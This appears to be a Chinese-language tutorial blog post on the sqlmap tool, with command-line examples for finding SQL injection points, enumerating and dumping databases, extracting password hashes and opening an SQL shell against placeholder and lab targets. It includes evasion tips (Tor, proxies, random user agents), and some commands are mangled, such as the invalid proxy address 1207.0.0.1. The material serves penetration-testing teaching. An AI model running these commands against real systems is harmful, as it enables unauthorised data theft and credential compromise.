2

sqlmap自动化

 1 week ago
source link: https://blog.51cto.com/zhuzhuxia/10512387
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

1. SQLMap简介

sqlmap自动化_sql

SQLMap 是一款强大的开源自动化SQL注入工具,用于检测、利用和审计SQL注入漏洞。它支持多种数据库类型(如MySQL、Oracle、PostgreSQL等),能够自动识别注入点、枚举数据库结构、提取数据,甚至实现数据库系统的完全控制。以下是使用SQLMap进行自动化注入的教学及示例。

2. 安装与基本使用

sqlmap自动化_python_02

帮助:

sqlmap自动化_sql_03
SQLmap -

SQLmap帮助命令

SQLMap参数及其作用及示例

SQLMap是一款强大的自动化SQL注入工具,具有众多参数来控制其行为、指定目标、调整注入策略、收集信息、进行交互等。以下是一些关键参数的作用及示例:

  1. 指定目标URL
  • 参数:-u 或 --url
  • 作用:指定要测试的含有潜在SQL注入点的URL。
python sqlmap.py -u "http://target.com/vuln.php?id=1"
  1. 指定请求方法与数据
  • 参数:--method 和 --data
  • 作用:指定HTTP请求的方法(如POST)和数据。
python sqlmap.py -u "http://target.com/api/login" --method POST --data "username=admin&password=123"
  1. 指定数据库类型
  • 参数:--dbms
  • 作用:明确指定目标数据库管理系统(DBMS)类型,如MySQL、Oracle、SQL Server等。
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbms MySQL
  1. 枚举数据库信息
  • 参数:--dbs--tables--columns
  • 作用:分别枚举目标数据库中的所有数据库名、特定数据库中的所有表名、特定表中的所有列名。
# 枚举所有数据库
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs

# 枚举特定数据库(如'db_name')中的所有表
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables

# 枚举特定表(如'table_name')中的所有列
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables table_name --columns
  1. 提取数据
  • 参数:--dump
  • 作用:从目标数据库中提取指定表(或所有表)的数据。
# 提取特定表(如'table_name')的所有数据
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables table_name --dump

# 提取所有表的数据(需谨慎,可能导致大量数据输出)
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dump-all
  1. 设置注入级别与风险
  • 参数:--level 和 --risk
  • 作用:调整SQLMap的注入测试深度(--level)和采取的公鸡风险级别(--risk)。
1# 设置注入级别为5(最大),风险级别为3(中等)
2python sqlmap.py -u "http://target.com/vuln.php?id=1" --level 5 --risk 3
  1. 使用代理
  • 参数:--proxy
  • 作用:通过指定的HTTP代理服务器发送请求。
python sqlmap.py -u "http://target.com/vuln.php?id=1" --proxy http://localhost:8080
  1. 设置延时
  • 参数:--delay
  • 作用:在每个HTTP请求之间添加指定的延迟时间(单位:秒),以减小对目标服务器的压力。
python sqlmap.py -u "http://target.com/vuln.php?id=1" --delay 2
  1. 进行交互式注入
  • 参数:--sqlmap-shell
  • 作用:启动一个交互式Shell,允许用户手动执行SQL查询并与数据库进行交互。
python sqlmap.py -u "http://target.com/vuln.php?id=1" --sqlmap-shell

基本使用:

sqlmap自动化_sql_04
python sqlmap.py [选项] -u [目标URL]

其中,[选项] 是指定的参数,[目标URL] 是待测试的含有SQL注入点的网页地址。

3. 常用选项与示例

(a)检测注入点

python sqlmap.py -u "http://target.com/vuln.php?id=1"

此命令会尝试检测http://target.com/vuln.phpid参数是否存在SQL注入漏洞。

(b)指定注入类型

python sqlmap.py -u "http://target.com/vuln.php?id=1" --technique=U

使用--technique选项指定注入技术,如U表示使用UNION查询进行注入测试。SQLMap支持多种注入技术,如B(布尔注入)、T(时间盲注)、E(错误注入)等。

(c)枚举数据库信息

python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs

--dbs 参数用于枚举目标数据库中的所有数据库名称。

(d)枚举表结构与数据

python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db --tables
python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db -T target_table --columns
python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db -T target_table --dump

这三个命令分别用于枚举指定数据库(target_db)中的所有表名、指定表(target_table)的列名以及导出该表的所有数据。

(e)获取数据库用户密码哈希

python sqlmap.py -u "http://target.com/vuln.php?id=1" --passwords

--passwords 参数用于尝试提取数据库用户的密码哈希值。

(f)使用特定数据库用户

python sqlmap.py -u "http://target.com/vuln.php?id=1" -U db_user --passwords

-U 参数指定数据库用户名(db_user),结合--passwords尝试提取该用户的密码哈希。

(g)指定HTTP方法与数据

python sqlmap.py -u "http://target.com/api/v1/data" --data "id=1" --method POST --level 3 --risk 3

当目标URL接受POST请求时,使用--data传递POST数据,--method指定HTTP方法为POST。--level--risk参数分别调整扫描的深度和采取的风险等级。

(h)设置代理与延时

python sqlmap.py -u "http://target.com/vuln.php?id=1" --proxy http://127.0.0.1:8080 --delay 5

使用--proxy设置HTTP代理,便于通过代理服务器进行扫描。--delay指定每次请求之间的间隔时间,以避免对目标服务器造成过大压力。

3. 高级选项与技巧

(i)多线程扫描

python sqlmap.py -u "http://target.com/vuln.php?id=1" --threads 5

--threads参数指定同时运行的线程数,加快扫描速度。

(j)使用Tor匿名网络

python sqlmap.py -u "http://target.com/vuln.php?id=1" --tor

启用--tor选项,SQLMap将通过Tor网络发起请求,增加扫描的匿名性。

(k)使用SQLite日志记录

python sqlmap.py -u "http://target.com/vuln.php?id=1" --sqlmap-shell -o results.sqlite

进入SQLMap shell模式,使用-o参数指定保存扫描结果的SQLite数据库文件名,方便后续分析。

总结

SQLMap提供了丰富的选项和强大的功能,使得自动化检测和利用SQL注入漏洞变得高效且便捷。通过组合不同的参数,可以根据实际需求定制扫描策略,快速获取目标系统的数据库信息、数据乃至控制权。在使用过程中,务必遵守相关法律法规和道德规范,仅限于授权的安全测试或教育目的。

 4.结合burp扫描

sqlmap自动化_sql_05

在请求栏里抓取到的数据包内容可以复制保存出来

sqlmap自动化_python_06

或者使用文本编辑器(如nanovim等)

1nano 1.txt
1vim 1.txt

这些命令将启动相应的文本编辑器程序,并打开一个新文件名为“1.txt”的编辑窗口。您可以在此窗口中直接输入或粘贴文本内容,编辑完成后按编辑器的保存指令(如nanoCtrl+O后回车,或vim:w后回车)保存文件并退出编辑器。

然后使用命令注入

SQLmap -r ./1.txt
sqlmap自动化_python_07

注入指定数据库中的数据表

sqlmap自动化_sql_08

步骤

  1. 启动SQLMap并指定目标URL: 使用-u参数提供包含SQL注入点的URL。
1python sqlmap.py -u "http://target.com/vuln.php?id=1"
  1. 指定目标数据库: 使用-D参数指定要爆破数据表的数据库名称。
1python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_database

替换 target_database 为实际要爆破的数据库名。

  1. 枚举数据库中的表: 使用--tables参数让SQLMap列出指定数据库中的所有表。
1python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_database --tables

执行后,SQLMap将尝试枚举并列出指定数据库中的所有数据表。

获取数据表中的字段信息

sqlmap自动化_数据库_09

sqlmap自动化_sql_10

使用sqlmap爆破指定数据库(库)中某个数据表的字段内容,通常按照以下步骤进行操作:

  1. 启动sqlmap: 首先确保已经正确安装了Python环境,并下载了sqlmap工具。在Windows环境下,通常需要通过命令行(以管理员身份运行)进入sqlmap所在目录,然后使用sqlmap.py作为入口脚本;在Linux或macOS环境下,则直接使用sqlmap命令。
  2. 指定目标URL: 提供存在SQL注入漏洞的目标网页URL,格式如下:
1python sqlmap.py -u "http://target_url"

其中,http://target_url应替换为实际待测试的URL,该URL应包含可注入的参数。

  1. 指定数据库和表: 若要爆破特定数据库中的某个表,需要使用-D选项指定数据库名,-T选项指定表名:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name"

替换database_nametable_name为实际要爆破的数据库名和表名。

  1. 指定要爆破的字段: 使用-C选项列出要获取数据的字段名。如果有多个字段,用逗号分隔:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name" -C "column1,column2,..."

column1column2, ...替换为实际要爆破的字段名。

  1. 执行数据爆破: 最后,使用--dump选项来执行数据提取操作,即爆破指定字段的内容:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name" -C "column1,column2,..." --dump

综上所述,完整命令示例如下:

1python sqlmap.py -u "http://target_url?injected_parameter=value" -D "database_name" -T "table_name" -C "column1,column2,..." --dump

请确保替换上述命令中的http://target_url?injected_parameter=valuedatabase_nametable_namecolumn1column2, ...为实际的目标URL、数据库名、表名和字段名。执行此命令后,sqlmap将尝试利用SQL注入漏洞,爆破并显示指定数据库中指定表内指定字段的所有数据。

在实际测试中可能数据表中的字段不会明文存储,是md5值需要在一些网站上在线破姐。

实战小技巧

一、shell

sqlmap自动化_python_11

以下是对使用sqlmap执行注入语句的注释:

1sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" --sql-shell

注释说明:

  1. sqlmap: 这是执行命令的工具名称,即sqlmap SQL注入工具。这是一个强大的自动化工具,用于检测和利用SQL注入漏洞。
  2. -u: 这是一个命令行选项,表示指定目标URL(Uniform Resource Locator)。在这个例子中,目标URL是 "http://10.0.80.5:9001/Less-1/?id=1",指向一个可能存在SQL注入漏洞的Web页面。其中:
  • http:// 表示使用HTTP协议。
  • 10.0.80.5:9001 是目标服务器的IP地址和端口号。
  • /Less-1/ 是路径部分,通常对应于Web应用的一个特定资源或页面。
  • ?id=1 是查询字符串,其中 id 是一个参数,其值为 1。这个参数可能是SQL注入公鸡的切入点。
  1. --sql-shell: 这是一个命令行选项,用于开启一个交互式的SQL shell。在成功利用SQL注入漏洞后,sqlmap会连接到目标数据库,并提供一个命令行界面,允许用户直接执行任意SQL查询。这样,公鸡者可以在已获取的权限范围内自由探索和操作数据库,包括但不限于读取、修改、删除数据,甚至执行系统命令(如果数据库配置允许)。
sqlmap自动化_数据库_12

就变成了sql远程的shell

二、输出外部文件

sqlmap自动化_sql_13
sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" -t http.log

注释说明:

  1. sqlmap: 同前,这是使用的SQL注入工具名称。
  2. -u: 同前,表示指定目标URL。这里的目标URL是 "http://10.0.80.5:9001/Less-1/?id=1",指向可能存在的SQL注入漏洞的Web页面。
  3. -t: 这是一个命令行选项,用于指定输出文件名。当使用 -t 选项时,sqlmap将会把其运行过程中的输出信息(如扫描结果、发现的漏洞、注入详情等)写入到指定的文件中,而不是直接显示在终端屏幕上。在这个例子中,指定的输出文件名为 http.log

总结起来,这条命令指示sqlmap针对给定的URL (http://10.0.80.5:9001/Less-1/?id=1) 进行SQL注入公鸡,并将扫描过程中产生的所有输出信息保存到名为 http.log 的日志文件中。这样做有助于记录公鸡过程、保留详细结果以供后续分析,或者避免在终端中直接显示大量输出影响用户体验。用户可以在扫描完成后查看这个日志文件来了解sqlmap的操作结果和发现的任何安全问题。同样地,此类活动应在合法授权的安全测试环境中进行,并遵循相关的法规与伦理准则。

输入cat命令查看

cat http.log
sqlmap自动化_sql_14

sqlmap自动化_数据库_15

1sqlmap -u "//10.0.80.5:9001/Less-1/?id=1" --proxy=http://1207.0.0.1:1080

注释说明:

  1. sqlmap: 同前,这是使用的SQL注入工具名称。
  2. -u: 同前,表示指定目标URL。这里的目标URL是 "//10.0.80.5:9001/Less-1/?id=1",指向可能存在的SQL注入漏洞的Web页面。注意,这里的双斜线 (//) 在URL中通常是不规范的,标准URL应使用单个斜线 (/) 开始。尽管如此,某些工具可能会接受这样的输入并自动纠正,但建议修正为标准格式以避免潜在问题。
  3. --proxy: 这是一个命令行选项,用于指定HTTP代理服务器。当使用此选项时,sqlmap发送的所有HTTP请求都将通过指定的代理服务器转发。在这个例子中,指定的代理服务器地址为 http://1207.0.0.1:1080,其中:
  • http:// 表明代理使用HTTP协议。
  • 1207.0.0.1 是代理服务器的IP地址。
  • :1080 指定了代理服务器监听的端口。

总结来说,这条命令指示sqlmap通过指定的HTTP代理服务器 (http://1207.0.0.1:1080) 对目标URL (//10.0.80.5:9001/Less-1/?id=1) 进行SQL注入公鸡。使用代理的主要原因可能包括:

  • 隐藏真实源IP地址,增加匿名性。
  • 绕过网络限制,如防火墙或访问控制列表。
  • 利用特定地理位置的代理以模拟特定区域的用户访问。

四、启用随机用户代理

sqlmap自动化_数据库_16

1sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" --random-agent

注释说明:

  1. sqlmap: 同前,这是使用的SQL注入工具名称。
  2. -u: 同前,表示指定目标URL。这里的目标URL是 "http://10.0.80.5:9001/Less-1/?id=1",指向可能存在的SQL注入漏洞的Web页面。
  3. --random-agent: 这是一个命令行选项,用于启用随机用户代理(User-Agent)功能。用户代理是HTTP请求头的一部分,通常包含客户端应用程序(如浏览器)的信息,如类型、版本、操作系统等。启用此选项后,sqlmap在每次向目标发送HTTP请求时,都会使用一个从预定义列表中随机选择的用户代理字符串。这样做的主要目的是:
  • 模拟不同浏览器或设备,降低被服务器端基于用户代理识别和阻止自动化工具的可能性。
  • 增加公鸡的隐蔽性,使得公鸡流量更难以通过特征分析被检测和拦截。

综上所述,该命令指示sqlmap在对目标URL (http://10.0.80.5:9001/Less-1/?id=1) 执行SQL注入公鸡时,使用随机变化的用户代理字符串。这一策略有助于提高扫描的匿名性和成功率,尤其是在面对有反爬虫或自动化工具检测机制的服务器时。

sqlmap自动化_sql_17

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK